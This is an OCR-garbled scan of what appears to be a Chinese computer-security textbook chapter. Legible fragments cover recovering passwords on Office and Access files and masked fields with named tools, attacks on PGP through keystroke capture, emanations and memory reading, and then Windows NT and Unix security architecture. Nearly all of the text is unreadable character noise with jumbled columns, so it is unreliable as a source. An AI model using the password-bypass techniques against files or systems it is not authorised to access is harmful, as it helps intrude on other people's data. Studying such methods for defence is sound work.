“Password character set " 51| RHE P FHHATEE, MR EFERAND
B BFE SHREASR)HAEOK "HMBR R ERHRZFE, KRIMA
THREMREEK Word 3K Excel X4 H#i#8 B MSOfPass 3R H,
MSOfPass BI AR 4% FH 7 46 1€ 1 78 B SR A 55 R X Br A AT RE Y B A
T, ERRBIEB R 1L

MSOfPass F) T # Mk 4 : http: / /www. lostpassword. com . H4b,
AT AT 2 http: / /www. elcomsoft. com/ F#H—/~ AWPR ( Advanced
Word Password Recovery )82 PR f#RR Word X HHE (AT ES
Advanced ZIP Password Recovery 5E2—%0),

Excel KB EITE S Word 52 2 — K, T F| Fl MSOfPass 5
AEPR ( Advanced Excel Password Recovery )f#[ Excel %515 H 5
552 —H, X ERREEAA AT

6.3.4 Access LRSS AR

TE Access H1, BEBEHAT “TH"EH “R&7FREHN “MEHK
PR 4 R e B AR YR EERIA R Access XA EHS,
R : FI A UltraEdit S804 % F i H#8 XITHF I 5 #9 Access
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B R R HLHE D 0042 HYFEIATECK 86 JRAE IR Y, IR H
W CRAT I B RT SB i — & ) . F4h, RATHR AT F
http: / /www. elcomsoft. com/ F #& — 4~ AAPR ( Advanced Access
Password Recovery )2 ¥ Hf#BR Access BIEFERE,

6.3. 5 fRBRRA "R B

LA PB4 K
ZRHREHERRT ABRIE
WFER, MERERR “*7
BT B, LA B A 2% B B At
A “fE” . XMEEREARE
fRERE? BIEREER, RE
F) F Snadboy X 44Kk {4 , 5t AT
fRBRIX AR ZRS ! Snadboy 2
— N EITHTFHRBNHARF
XSEEFRA “* " BRIE
B TR, B BN RRFRAERER, FERBIHF
IR . RITEMH A EMBRENTN, AT AT MY AR
ANHEBSHEE (BE/R “*x7), 5 AR Snadboy “#15 X ik
BHRPH TR N ARTFR C* "% L, Snadboy BE&
BB *x "EBEMBBR LR, R FRFERBHE ESR,
Snadboy B F# M1k 4 : http : / /www. snadboy. com/, BRILLASE, 25D
HER AR L, i VIEWPASSWORD %4,

6.4 IN{ASLIXT PGP HIIE

RATHE PGP FHSA R WA B BIBAERE M, HIFARAREHFTXT
PGP fyZ ik , Bl HIR AT 1T HY PGP ik , AR T PGP HHS A R
A B TiRYH PCP HISLHAL
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X SRBC AT LAS D 85 3 By 7 3 sh B B
— WHEE

(1)&8aK

RRE— IR A R
BBt N, Ve .
=R AT R Tl
A, APRIB 4
W FEESEMIEF
SRR RT
H, Ba g E AR &R
i 5 o £ DOS Ty |
PGP LHBMAEX HHEHZ
s, mEEHA
REMBRICREE
F. MAKGEHERZE
AT AR 2% | A2 fa sh A 1E i k4% , 76 DOS T A &5 3 Xymdthar
AEX— T, BEIEZHIH T E—FF Windows F HIiCFHEE, X
BT F Windows B PGP M5 r=4 T Bih. X Unix 3555 F R &0
KA RREZ, HATE root AR, BRIEB T H BT X - Windows 1%
T AOSH, X - Windows T BJiC F 2854 H root ALFE o

B X R Bt , —A03E , X TAESR S B4R, IR R i FARL 3C
HEIRTE

(2)B e ERR

XARGFE, AT EI RS LR B RS A Bt E  Bds
TE WA AT AR B Ar R LS B IR AVREY B SC B R I s B 3%
AH T, RXEA—A FBL# T 2005 E WU 8l —AN K s a8
MG S R R AT A B R T E AL R & 528,
ERZEEES  Ae#ET NSA THK FFT 5 A R8T, S T BUE
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THE, SHHUES KA 22MHz , FEB MR L 27KHz Bk ERSES
M 59.94 H: WEEFRFFESRITUBRBEWWESR, ETREH
KRBITERVERED FSEAIEE,

e — AN GHRES TR AT AR L ERSESHE, B8
FeEAE, REBAERTENER “BR"SBA NS,

(3)AATEAR

E Unix SN ZHAFRGES, RER A E BRI AR
PLSBHYENF. Mo — I EXRNAEEHMEL, 3T /dev/kmem X
NMRGEBFH M RBA T E, B e, d RARELE
EAUY

(4)mEALAAKR

£ Windows XHMEZEFBRIERET, REF AT AR
BB RE R TR, T HX B B AP SN EREMR, X
WHNRFASBRGIER, BT BAERS LREBBA . NEEMELIF
B iTREE R P B CEBBEAR, B AAE T X BER,

(5)3|LR

EMEFET 5B EUMSIMIERGFLE, I UM ST IE R EL
PR G, WRIREE DN PGP AR 2488 A vl RE A FE
W fEmE P e, WRE B R UBASIMIE R RERSCH, R
AWM ENET .

88 A — 2L BR LA @ TR, 8 SSH , DESlogin 2% TR
A mEREA MR (GRBASERIN) , 7T LABY 1k M 4 g
BBt . FHAREEELBERXBENGELE, IR, Mfi1— %
AXMBEBR

Z.EEE

FHh B R BN TR ERFBEADER,
AROBFRITERENAL, TEHRE—ESKIN PGP AS .
—EREEBFRFRT —N5HM PGP B Windows 4858, BT A
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FFEHFTP R TN, EIT/EBRKET , FE&HEAMERIN%,
BEZEEHRBRMET —H WAV 304,382 SoundBlaster AWE 32 K&
B, FIARAT A — & S — k& 16 AL CD FERME W E b
HARLBNE, wEES, IR, MEELREKRERED
i, ATFIEEREERE BRI A LM%,

TARE? Af[REETF, XNMEFBEER2IVTER R BN
ERTHRIES,FEYERIAVEE LET —1 Modem , B4 [ Mo-
dem & Hi—% atm0 #54% (3%H] Modem HYHEENS 2R ) , SRIG 1] -+« (K5
B 27K S IH B TR OSMEBR. -
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ARASANRANGT A AR RS NRES ORN RS RN GOV BBy nry vy g : LA R AR R

RARIR R E

FRSEOE, EBERBERLH AR,
BORTEN NBT #wHIARR 4%
b BENERE LTS LLFHRERY
IR

EREFETLERMERRMAET S LB
Rtk 2 R0 %A P, B AR A A
A8 IHT AR T AR R 7 A %
SREMGHE, REAFE BEFRERE
WA EFAU T R4 R A A0 % 00 5K A,
MR RALREEAELH, FALER
FABT EHERALRENGP FR—b
RTINS PEREL VRS S
A RAEHAR,
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BER KR LR A

7.1 REMHEFESR

BT LI P B TR P B, A LR L ) 22 e P R OR S iR
MMER, —BWE, ERRERT, Z2ELRENMER:
L 4L 9T DR ey
* ARG RN E N
SRR REN
\ GOV DRy
S BRERN T2
RGBR R MR R AR S L2 H T4 E; A
FREREZEZEERRER AP HNER BRER SHRIEST
T ; B2 B % AR B A PR R A B AN S5 07 T AR B B 2tk
FIRAEMERA Lo
THEENF—TREZRHZEHMN RN E 2.

7.1.1 MR Z T

FE— AR ESRR A M 45 L, 4% 2 AR A% B 4 i #4508
DMRIER R E R Z 2, B3 h SNk SRS SESLH P RN
I RE , SRR RS E AR, ER, % P FEFE
W IR — R R R ARBURT R —RAR BT R R iR
A—B, B 2[RI BB IR R A P 4 BBGR & R — B0, 3t
TRAERE S G — RN 538 ; = RAFEINE 2 MA R SRR IEE
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TF&, Lk CISCO7500 25t 2% A ] , ;X Fh AR BB S1 3% 2Gb/s
M B% B 8%, T JF 40 {of DES % &tk , B BB HMELE TR
2Mb/s , X R FEREMEZ VPN REERER B S LXHAMER, X
MEBET BN L ERBRRE, EREN F#EAJHRD,

TEMZEES W IP EEZ L, Bk A EZ2VHR AN HE
WA SEARE TR, GRBAEXILH, RAE % 1P 518, i HEHE
ERBABRE, HEMKLR L, &% 8%, B k5 IP
AN ARETARLALZLEE, —FHEARN T ERER
AR FRA IP B EOR , AR SC I, R Y S . B KRB
R WA b, Xk 8 AEMBGE R B RE 1R 5, B R 2K —
AMEBEHATEMEZERAHENMERE, SdZenm/ KEF
B, AU ERANEFENZLERASEENEE  ENEENE,
B AR TR AT DA 22 2 P 4% 4R AT IO 48 70 R Ge T i ) R , AT
TR E LN K Z TR

REEHEMENEETHENS . ELL2MWFRI KM R
T EdRERATREN TS, TURRRGERE, HRZHA NN
FGEEHEZLRA (0. L ILBEH P REBEEF, AR
B Sendmail Z R4 ) o

TR T AR A4 BB 8 B 25 W T 3% |hy 2% BT B L EHL. Web RS 4%
ZRGERRE, B SR BENBGE T E, AR Z 2R , R
WEZERRAKBAEREIR, £ B LM RERKN
%h LA RIR RS EE & 1000 1,

R AERMBHRERFERRY, FREEHAERRL
B3 T R RBUSH B A REFERN TR, BB TRA,

AR A B — T RE R S i W45 MR Th BB BT H) , 3
RERERNERREEELR , ICREHHE R HBEHRERNE,
ARAE B i R I i
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7.1.2 AR EEN

Hai b £
T A7 B9 BOAE
ZeEHER
RN B X
B, HEE R 25
EHBE.FE
—F F BOR X
BEHITRE, BREMERRARIEX—BRH,

(BT EE . TE—RTERBARBINE L OBEEEE
A BEPRAFEER . BENENRBRSARLHX— B iR,

(2) B BHAIE: FREX P4 i P BT RAE, LIsAX 7 i E
LG BT MR A BSR4 T RIES 6 TFB . B
Bl ' FEA A SIEJT 361 KDC J5 RRAIET i o

(3 BB TR H R UT M M4 L 15 8., 3F B f1ae Xt
5 BT FERE (Bl IS B%E B8R REER), DCE
ViR HI 5 R B AR LIX — Biwo

(4 )HIHEFR A FEE SINLRA TR, X R R X R P
BT, AT AL RS T RS TIRE

(5 )7 IL3KH 5 AUE - B R A P A REHEHE B C BT 4728 , [RlA
AL AUE R T Bk P T B H B

FRREN AP TR EE M4 LRI AL, BT LA B HAGE
BRBIUR AR P BNIES R, A RS X ik s id. AT
TEH, FERAEPXEEMVIRER T

WAL : M4 R (S4B ) R 2 ARG FHL () Z R #
PR EERMEZLRE AR L, XBEREREN (SUFEM LV
BDBREERRE TN (FHR) Z E AR X 4 7E R —i#
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B EER— MBS e R . i, iR - ENLS
=N FEHZ AR E—FZLN IPEE B EXFEE L
BT IP AR EE B S % . [RAE, IR — AN A —
BZAES MR R 2B R T — R LM EE , BAHA
PR E A ) B A TH SR A S g .

R LB X 5 — BRSO R R 2 2 BRI SifE
BY TR R 2 R BN AR N Z 2 RS b R RIEH AL 3R
B E 2N TR, Fli— 1 a TG RETRTFENEXR L
HIE A B SRR RS . BIRE MR EZ 2T —K
A& AEARFTE K 51 i B 454 , AT 7T BB H1E 2% R — 35
SriRATEE R  RA N AR R — RE B R X A 2 2 RS B R

— MR , 7ERNL B AL E 2R 55 A LR AT BRI B0E , B — 18
Bl ok KR 2 XT AR (RN A O 4 H# T BR, —&FE
T TCP/TIP ML E & XHM T . 7 RFC 1421 £ 1424 1, IETF #
E T HFSRAGERA: ( PEM )R NET SMTP W FHEF REREER £
MR%5 . B FRFIEE, Internet MV F R PEM 825 FiR & K18,

S - HTTP & Web L MBI AEHMPIN ( HTTP ) i) % 423
SRIUAS, B ML B AR AR BTt , S-HTTP &4t T X R %4
PL, A P4 57 R R Fr SR A2 2 R 55, il 4 - GE VBB ML P A S B
P Ui ER U RIETINRS . BEIE&H —&LAAEMZEH 5
BL & 4, 4 : MIT A9 Kerberos(V4 5 V5),IBM fJ CryptoKninght
Netwrok Security Propo —#f,DEC #J SPX , Karsruhe KZE I8 EL &
#4t (TESS )%, #RRGR ZRAKLH], F 20T AR A LN
ERFEA SRR BERAY FE, BN, SESAME Fl OSF DCE Xf
Kerberos V5 E T 3 i Al ¥ AR 4 B9 Y™ 7T, Yaksha X Kerberos V5
YBT3 mAEE ARSI 3o

RFPMNEMFASEREN N EFE BRI R ERERXTENE
Internet | i ZBMARB, —NREEEMEKHE ( SNP )R HMEB
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S PR £ &N kR

TH GSS - API EEHIER, H R ME LA LR BEEMIET

7.2 MBREWRA S HE

FEHE— T IR IR Z 8, e # ERR#ETE, a4
ARBHNRBE A, BHARIE Internet BHHZ FIZ K ( Internet
Threat Level Scale )& ITL JE¥X (ITL Scale )H{&/2HI B 2 0 4%, K
HER IR, EEHNHWEERHRTSRNET. 1,

% 7.1 Internet B & (ITL) 4 %)

&

Bk iR

R4 AR 55 Bt —— 2 A BRI SCF B P

4= b P AT AR b R 4 b B SO

AP T AR 2R 6 R R T ARSI BSOS R (/) B AE

AU AT DA R PRSI SO AT R B (R /BOPITHRIE

Rl — P4 b LR P AT DL R 8 B I SO, BOE I R 4545 18 301

W h Wi |- o

F—R% EME AP TS & (R 8) 34T R % LIRS 1
Bl P L%

=)}

Fl—M% FEBAP AT UE R (F/80807 £ % HRHA R

5 3 7 K 358 B P AT ASE RS B ) SO Sl i M 4 1 1%

BB JOB B R P AT S & (/80 AT R4 FIEMRIIA 1 SO EGE
ot P 4% 45 3%

BB KBS PRTAE & R/ 8D AT R 58 EARSEA B SCi

REBRLEEEA 5 LT 32

& 7 3 B

&2 U

& 5 R By K ) B

BT RS B bn R G0 g™ EAR R, X 22K 5 W] F 404 A
L gsavilll
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®IEHR, ( non - root )5 5ATiH A

®RK (root ) EH5HATIIM

MR R BEA R T LR, B85k ITLO 4.
REWRHERBMRINDAZELERN TN EEEGER .
®RG AR

S ARG LB/ E LM

S HEER M EENS

3T R N EE A

A Jiilak =]

ARG HMRGRMXR

— M5 R B2 BT %

1-3 R AEERARREBLALXARE. RETER
SRR —EBRE LR URREY 8, EORIEME RS
AREBH

4-6 RN MBEE &  AAMARENER FEHERE
o R, EFBARNARTES , KEBURFEL TR AEE G, K
FHHLRAERHBEE L RZFEN SNEHES Intemet HEN RS,
XERERTIRET

T-9RWABR A TENME, ZHRARTERME Internet
VRGeS, EE BTN R ERIERE L3 A R L2165 , B5 X
WRATAFERRHESAREZMME—MEHERE, L%
WA B KK 2R A E , — AR BFE BB Internet |
Wit o

Z.REHAk

ZEEPIAIR T “ZHHEIRE A" (TCSEC) R “B K&
$” ( OrangeBook ) , IHEINRGEHZFEHERHENRZLPLO
( NCSC ) ¥f#, #HRH4HIEAIMSSK: D, C1,C2, Bl, B2, B3 5
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Al HH D REZEWHRAR, Al & &, RATE R DOS , Windows 95
J D%, C247=HAGBEEREENBREE=R, Al REREE
Hlo

7.3 RMBRIERFHREMN

AURBRERENZELEREMEZENEL. REMNZRENEL
St ARA BN NBRIERFA T, XN R RS REDURBERE TN
BA BRI MNRIERZEAF—H, HRIHEART ZHNERIER
4t ,%53F Windows NT 1 Unix Bifp, AT XHFRIERZHNE
ST

7.3.1 Windows NT K)jZ4tt

A X Windows NT BEHEME —HHEEREFEEWIIRA, XM
MEAA RO
il Z2REMMN
S B

€ Windows NT
TAE 3 Wi o X AN IR A
MR RN T ik EA
AP LR &R
TN R

€ Windows NT
IR 55 48 Wit o X & Win
dows NT HJM 4 3CHF
AL IR 55 48 Wi . R
BEUA BRI R U ESGHEZ MG AP R BEERE
ERFHERENRREHR N Z P MERITH,
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—. Windows NT B)Z& 28R

Microsoft Windows NT Server #/ER Gt LT 2 EHINEE, UK
AR METEE AR ZHMEEX SN TR, EAlX—%
Windows NT M2k R E T P M8, BRI P X5 /4%
BR8],

LL2MTE Windows NT EFIM BT BHME GFEIF B ELER
MNRERGEH, FERI P REST Windows NT BE—E ATV RIAT, 1tb
I e R Ik Windows NT Brifik, A TAESS MRS 28 B K
HERAHFHAH LIE. REBEMRBFHERFHAZERHM Win-
dows NT fR%25%#, Windows NT REIRHEXFhA ML 20, RE N
—BILSREA - REHEK P L LR BEEREIA, XFh%
LY EEE SRR T MRt R (I SCHMIEEATEIL) , e 3
NEF XS B — X REEMUAT AT A B I

Windows NT IR 55 28 Fl TAE WS IR A iF 2 L 2 WL H R ILFEH
Windows NT Server 2 i S M % 2B HAHE , HEB NI K
ZRAFRRBEFIRS SITERN TR R, ERBSANERPE
A Windows NT Workstation 3 A 2% F L/ IRE eHE B HEF A IEFE,
HA RSN TR RN EESRIBH/ARTES,

Windows NT HZL2FRGER—TEBT RS, WX%%%%%
4., W B Windows NT B4ER S,

BEFRENARIITA :

& FE LA ( Local Security Authority )

& L2 ( security Reference Monitor )

BT LiREB4r, Windows NT B#REELAT Z 2% .

& GRIR

& RiEH MK BEE R

& 7EHEURIR (Access Token )

& TFEEHFIFE (Access Contrl List )
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¢ XHYIEEELKPEE, KR eERMZ 25 B
g4, RUETIHM Windows NT &2 LI STH #1424 5 4 BN H
fEo

WindoWS NT #Ji% it B AR 2 RS RITENIR S, E MR RS
RATFBAEPI/REHBUART . B FEREERS M Inter-
net IR%5 o WRZEAE Internet L1213t Web IR 55, B E R/EERR 5548,
Windows NT Server Bl — /BT E. BLBRME=ZFEMEF,E
X T] LAE R By KR o

Microsoft Xt Windows NT FJ i 37 5 B J& N 2 R 0] 68 £ 1) I 4% i
Internet 451k, LR L, Windows NT Server JR P H — 1522 H
Web IR 252014, # M Internet Information Server (IIS) o

Windows NT HyHAfth— S5 PET .

& S REHMNEBRIERFERUTEREE R, FHXRHREH
BFo

& AFTEWE M LR TR i EZE M B P

FTHEDLTF e = Hpi : NCP(NetWare Core Prtcal) ; SMB(Server
Message Blocks )F1 HTTP ,

& SCREES ML IR BRI A A AL BRI B RS AL

¢ ERERENROEREZ LG, XRELSFFMINIE,

& i) Windows NT ARG FEHEMR ik HBHER K2
PG B AHARE B AR B — R R B L R A7 BAEE

& SEHE AL E SO SR P SR E ] (Windows &),

& BIFELRLESEEE, VL Remote Access Server ( RAS )HIFE R
XRBI TR

Windows NT W %% 3 T TAEH BRI sl AR 78 TAE MR,
A~ Windows NT HE YL AT P ik P fiGaE), — N TAEHEH
B—A/NIFRITMG , MILZ T, — R AR5 45 F P —A K
E8, EEFRRBNAARE LR — D0 S AR, —
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AN P P B PR L P ik P, 9 B B 5 SR A I ) R 4%
WRIEG AT . — B RSHR FB — Nk o, MR A R4
HEE AR ERRE R, RIZC BRI X LM%,

. Windows NT RI{E R &#4

Windows NT 8 % i+ &R
A ERF BRI RS
¥ Z B B E , H o 4245 Intel
X86 % 5| & tn MIPS Al
DEC Alpha 4 ¥ 2§ % RISC
Ab AR o BRI Z 5h , Windows \ |
NTEZLHBEBRET IR
SR A, MRS
Fe il —A B AR P AR F
5 R B 32 47 F A 6] B 4k 2
a8 b, XL REE ARt 52 AL
—MES ., XREIEZLE
LI —EF YRR E
AN E—ANREAN A HEE EUARF MR IEAEZETT, Windows
NT 23k BlX R A B F B 58— B BRIER 4L

Windwos NT fRIEMZEG MR LifREHFIE (ACL)KEX
EHIHEREXT Windows NT EABHLKRIT, EEMFENRIERS
FEM B RBIMFEREBBRES, HEASEWBRERENRE
o HTFMNHKELE, AFHRRMEZHLEE, RERTUBEE
Gy KA BB A BB, BRILZ 4L, Windows NT & LHF8E
% ( Clusterling ) , X F 7 L 2R 55 25 5 Bl R L AL B AT 3%
BE TR

REMEINTE Windwos NT WL B, EAESBRRBHT —HH
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ZEHA, RINAETURATHRENEREHERITNRERER
BOThRBRR .

EABRERGEH—ARKGAHHR, XEHAKRAIMTRSE 2
TEELEXT .

BOERZ ERAPER, PR B3RP IR %5 AR, RN
ZARPF RS (Protected Subsystem ), EMNWBsmAPRE. BE
L BOBRAHROTN, FEBAR— B REROBRIERSE. B
PERIAAH#EHFEELLZ L, TRIAEHRS .

EUFREREEN (integrsl ), BIENY BT — /N KEBMIRIE
RETE. BETFRERBURREN—IHF AR FREIFNA
BF.

FEARMT B R AR T LAE B R AE H P M A, UBGHRIERR
RBRAE, EFTE BB AT E S IFT B AR AH:

1. %4 TF&%

ZLTFREWERERRPRENTA A, BEE4 KENF
BERZEPROEE. B2 TFREGBETLAHT Windows NT Warkstation
J§i 4 7] A FHF Windows NT Server il , X 5| R & Windows NT Server iR
B P bk P BB EERT AR T84, T Windows NT Warkstation i)
Wi PE R BB A< A

Windows NT #/ERZGHMIEFIAAEEX RS, EL T EKY
KB R R ARG

@ Windows NT #RIEMFAES MR _EHDIRIEHIFIZE (ACL) KIE
XEHHERDRIZX R, 7T LA RIS R KPR %X R A RE
B B,

O YRS THER, Windows NT AI#:4F P BIsh1E. XBRA “M
A7

RGEH 5 7T DA 3 e d 4 B2 A P AT LU 2 FA P
AUERBETR. BERGE GBS XEEFHRPNREZIERE
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WEEENERFER M.

XF Xt AR Ui 1a] RAR B4 BRAK R P , BT A P 0 e % R B
WIREC, ATLEHEZRHKS (guest acotal ), H2 B X X5 KA
ZHRE . BMRAPHE T ME—HIRRS B KE R EE
A —ME— R, 2 MRS B —UOF B, AR & 2
LM BENRSE, TP ESNBESASHITHES, B AL
SESCEMER T i 4, T EAMBRAR & HERH,

LM AORE LT AR5

O ESRHR . XAHRA DT MRS R, mREANH
PR Z G ERE R DR, XA BEEBUG A IER (AP&ma
2), FHAZEK P EESRIEE., MR- MEPEEEFR, AR
E5 1R 55— A R G A IR, X st 2 BAIE 2R KRG A
P B AT PR AL E1E % ( inter — domain login ),

O A2 FAL (LSA: Local Security Authority )o X4
BERGWPLAM, EERMPPERE R RV ML 2EE
., LSA BHMAR LK EHE (SAM)MEZLSELENE, EF
R LR EN— 1 HITHE,

O LW EHEE (SAM: Security Account Manager ), X4
HFEHEAFKPBEIEE, 4 LSA FERIEAFZ2EE R RS
B, BBt 5 SAMBKR

O LB A ( SRM: Seurity Reference Monitor ), SRM J&
— MO T R GAN , ERE P REA DR R — %
SEERBEANFERFLLHE (NXHFHH). Windows NT H&
SRR E A Windows NT #ERSE. B FXIXR TR LH L
T — MO IR R BAIE , B B 15 ) IE BB R iFE TR P A
HAGIERIE i

2 AR EAEEMK

AR LRI LSA RENLL2BERB L. LSA AFAEEHE
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Rk P P A SRR S RS R, LSA BTN SAM $E &
HIE BT —TAE, 74k LSA BT EmAIARS :

& AR P ARG UITRIL

® ERAPEFARBFEHIRS

& EHAHME LR

L AU GE-

¢ iC% SRM ABMFEERFR

3. RAKPERS

AW EHELS SAM BHRAE AP Lk P 5B E,
SAM 4Lt LSA M AP AR S RS , X R % X P B2 E
Bif. SAM i3t SAM SR & P B R A KB RAREER,
25 FH PR B — A% 2 B 3 dRic SID LR A P TR AR 25 s
it HAPBEFAME, LSA KAIE— R, XMrcEiE A
LA APFBEMAUEREL2GHh5%FEE . AXE&E, ERFKF
THHABRFEEHAE - NARPREBRRRME N, YH PR
] — AR, RGBT RRC R 2 S MR 5 X R TR
AFRFATRH G, BRIAFE P BB BA XX RATUIRIAPR . SAM
B Z ] LSRR 1000 Mk . KBRS ARIRCE , SAM 088 AT LU
FLET 1 EA Windows NT RGP, MBRCEMISRILEE:

& Y NREEERFEMHP KA, AHE SAM B ER S
i,

& YRGERENFETHAPIKPEBME—REE, SAM %
BN FEE RIS

& AEXHEEY ALK UREPRER, SAM BUEEM T
FEIE RIS PDC B, 34 HAA 0 & I 3 &% iy A Hl48 BDC o,

4 EESEBNE

fE4 Windows NT H—MNHBARS , B 425 % W4 SRM LI—Fp
B RIEIT, BRFTTEHE LSA STER WA R R MY B H &R

CEEmEtR - 161)



BEGE&BE
* Pc friend

B, SRM Jy Xt XF 4 78 3 v v [m) 42
BEAR 55 3 S P ik P2 R AR U ) A
EREHEH R IERA RSB A
X REViR . T BT A AR
X REBB RS, SRMERSKHF R
FR—NEREHRARBHEN ., A
FEBERV R MR S5 EA SRM
AR R) , T A BB BB X S AT
Vi, XASBRHEEHAPUHEUT

AR P X X R AT 5]

YAPBERPRE—NRE, RERSEXHN R 2R EN
15 B SR P abRC B0 SID 15 83T A, IR BA RBN
BRI, F PR AT AR S AT iR . 222 R 2% by X 8 1 ) 8 4 71
& ACL FRTA Wi HEHI & B ACE Hll. IRXNEH PR HFIE
ACL , SRM ¥ ¥ ACL F B KVim &R K EH ACE , IAIEX R K
ViR E A RN R EA Vi REFIZIR ACL , U] SRM ¥ B 3 fiF
B B IR 3 4 s SR X A Vi R 5 5 % ACL #1858
#4& B ACE ,UFTAE XX R & HiFR M EREKHIEL ., X SRM &
VSt St R BTG, R A BEX AP R E— e R HTE
MM E . 2EF PRI AR P B A B — AR, X A S B BT
A XXt S IR AR BT LASE i3 AR 5E R

=. Windows NT B FFIAIE

% %3] WindoWS NT R4 2 —IF5 A NETLOGON IR %854k
B, XAMRGES A L2 (LSA )hiE, XEHGEHRREES
FREN TS, BRERIBRBEE, X EAFERE -

ternet ﬂ@ﬂ‘féo
& K BFR, WRAPERI KPP, XMk EMERH
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HHEHL LM AP KPR ES, X ERE TA R %,

& WEF, MRAFERI K, XK EEESA
e P JE b X R E BURL R TR %

& THREER, MRAPERB K, XK P EES
TR Pk P BEEE S, X AE LR TZIEEE %,

ME - REFH 1 Windows NT THEWiHEH LA, £HB—
XMIERE, TUAX X EEDEERAMNEREIIN—MER, &
Domain HEH, ] A& FEAHL Windows NT TAEWHTEIMWEFE,—1
AR E — TR,

XAV E R BER AL EREF, B O AERE FEAL
BBE R, MR, RAEYELER, FEEVRS —&HEN A
TR R, AXMELT, W ANIERFERAXRES —MTENL
5B EBITR—EFIR,

Windows NT B RAILAHET Crtl + Alt + Del BF. XHMRIFE
THRGEEREHEFSI R, IFEMER TRHEFEARDZEHRTE, B
Windows NT & RXJiEHE, B, 5— AL IE—MBRERL
B DB O4, T Crtl + Alt + Del SR X LT,

BT Cl + Alt + Del Zf5, MSHBABRRRE. HAA—
APaMO4E, EFE A4 1R %25 E 7 Domain fEHEHE—
.,

THEEAMERHIABNE PR

& AT Cril + Alt + Del &%

& ZE#E (NETLGIN )M LSA , LSA ;347 IEFE {3 A HAIE
Aot AT LA A58 = 0 AR, ) 0 4 R AR o M GERE

¢ LSA 5 SAM BR4%, SAM ZEAM AP ik P EUREPERE R L
mao4,

& MEED, SAMBESREAPH SID (REmRFF) AP
PR 41k SID
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¢ LSA A SID G — a4 M, I BIEX NS MR X A%
brid 38

BRFABRFERAVRSEIAP B — MR (Shell ,HH
R P RE), T EESKA PV R R RWE S %HER

IR —NRARS A AW, AT LA ERAER) 1638 B8 R 5 5%
B, EXMHFELT , —FRE/mp & FHLH SR IER#E, 0
TEERS e IREE , FE IR 52 P AT . BRIR S5 454 50 BRI T R
BI2E TR, R ik P 0 PR AR K 7, P b P e PR A B T R IR 55 4%
Ho BJG SID BRI R 1218 IR 55 2% 1 IR 55, IR 95 4% ) NETL-
OGON X & #EF L e X R R L LK NETLOGON ,iHHEHL L
NETLOGON 2821517 4 M .

A SaH R, — AN P A BB VI R 55— 2 BRI, B R B A
—AMEHH—EHHEN L, EXFAELT, AP TURARARNE
. (home domain )ZFREF. BT ARG BHLMERALEAE
BR S B HATRAEZ S, AR PATRIE AR . 8T ORIE SID 43X [E
FPBF0 T, 3 B AP YE2E 08— iR 4 M.

Windows NT T8 0L {5 F 42 5] i B A SEAL IR B e P 908 % o
EEA FRET —# AR FR— NP, AR O EE LR
ik, —BABIKHE, BT LURETS € 48—k P AR AU R
VWRREMMNE, iRS—atENRENEMZEXBL5IEER
&8 ARG IE #4755 — A IE

M AE Internet E B — 4 Windows NT IRG85H ELHE T Mi-
crosoft Internet Information Server ( IIS )R, RE R FiE4T X Wind
ows NT $2[0] /R ERIFRAH Web N Y45, - HLBLE 1S IR %548,
AT LAGE A R R B A IE M BUATER 7 o Xt Web IR 552368 X Fh 2K BY
HITATE SRV AR 448 TS 8 SRR P P i P 7 42 1 o T LA IR) AR 55 8% o

T EBLR R R/ R K TR

Y-AEPRFRN, BERAPREAREXMHP (RS
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HW—BfE R

XA S BT —1 #Eﬂ‘ﬁ (' share secret )", M RKEEH
REEEXANAF kPN, ESRFFSPREXT 4104, IFEHESA
AFP. X, REBSAMHPRESLEARBREOS

R Z—F “ nonce "MIER, ER—N—WHMBE B XMW
B, XMHERELHEREA. TEIEXNMIBOPE, BTH
HEL, BREAPERNRS SREABERNE (WREAFKFK
BEFEROE) . XHEME, BRIRS 25 8A PP B8 Em
TS RS AN ERAAERT .

THREEEERHENE PR

(DEFESZRIBRE R P,

(2 )IRFH/IE—1RE (FRH—1 nonce ) RIXAK P HEF
bri 738

(3)ZF K& FHBIE nonce 5HE P B FRE /BRI HT
I, % 5 ) O E I B

(43BN ML RIE F A RS 2%

(5))RF B EES TR 2 KEM nonce H—HEN S5FFH%E
REMGES  REHEF 04 (FFMfEE)M—183 (BmmeE)
HEAT I

(6 )IEMEMLER 5% F IR 3K

(7)IRE S BHEREE P KX B W R —2, &P RE0A
ARAERKIFRFER,

REFEAMEMEEEAR(—BAPBER)RPTERSE, BHE
ERBEA FAPSER, M RETRSERAR, BRAXKEE
BA PRI EERX MRRE RS S EAMECHFER. AT
BB, FEXNSEHITINE . MEKK OIS (Internet Informa-
tion Server ) X & P HLMAR %28 Z Bl SSL #l PCT LAMER R 24
o
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M, NT XHRENRSH

Windows NT #ERGHI A NT X R4 NTFS i A28 H K

FAT X R Gk R ALTE &, (6 F NTFS B 7 o7 ASE B SCAFF H R 89
HEHN BREREXHMER—RLHELZLER, NTFS BEE1HT
Windows NT HIXHHEZR S, B EBLAT PAX) Windows NT T/EuEFIAR 55
8 LS H REERTRE, FAELRTUMEERBERLE2HE
Ml & — BB HEMNE EHXHME FHE L2,

HEFTHARBRP XHMEFRLAPEXEREREEN
DR A ], B R AR i P 4% U () BEUR , AS RERH IE A B A
BEUR BT AT 4E  NTFS H1REAERR il 4= st A R4 SCHE A B R BB ST o

NTFS & G 8 AT A~ NS4 U 1) SO B R RIS L. &8
R M EARIE B BT R EBUF TR RB AN E,

FAT 3C{4 RGEARRBTEA HU N SCHFFn B RV RIEF TS, h A
WG, NEZLWXRE, NTFS B FAT i,

7.3.2 Unix #fERGM LM

Unix RER HRIMEREF FTENRSSFJRIERS, T F—
ARG, R LR R RE, EREETEIZL%EEK, U-
NIX 24358 7T C
2%, Unix REH
e UMM
FPikS XHRS.
Unix 9 NIS R4
Windows NT i $&
B RFE=/1HE
XEE,
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—. Unix ARRHREH

Unix R H Y /ete/passwd X EHEMRETEHENRT
BAMEPWEE (NBEK OO WA REFETF /etc/shadow T /etc/se-
curity /passwd 3L H1) o /etc/passwd FREHFAPHERLZ, &3
mEMOS BPE BPES APER AP EEFMRAP AN
shell BfF . HAH S UID M4S GID AT Unix REHHE—IRRA
FAHB T RIR . /etc/passwd FEBKMEOSHTFEHP %%
AR OSH#HTHE, FENAFAPES, ENESLHF &R H
F ] i passwd 2 BB O 4 , BEAEEE BB N/ etc/passwd
BB 43R5,

Z. Unix X REHREN

SCHFIRPERSE T SUAF BB RIAR R , BV R BRER DA T3 31
s -1 ATLAF R AR SCHE R, 10

—rwxrwxrwx 1 pat cs 440 70 jul 28 21: 12 zombin

A5 BAAE T XA AT U R SO BT R B 4 U SR
A XK EWRAFBCE IR 4

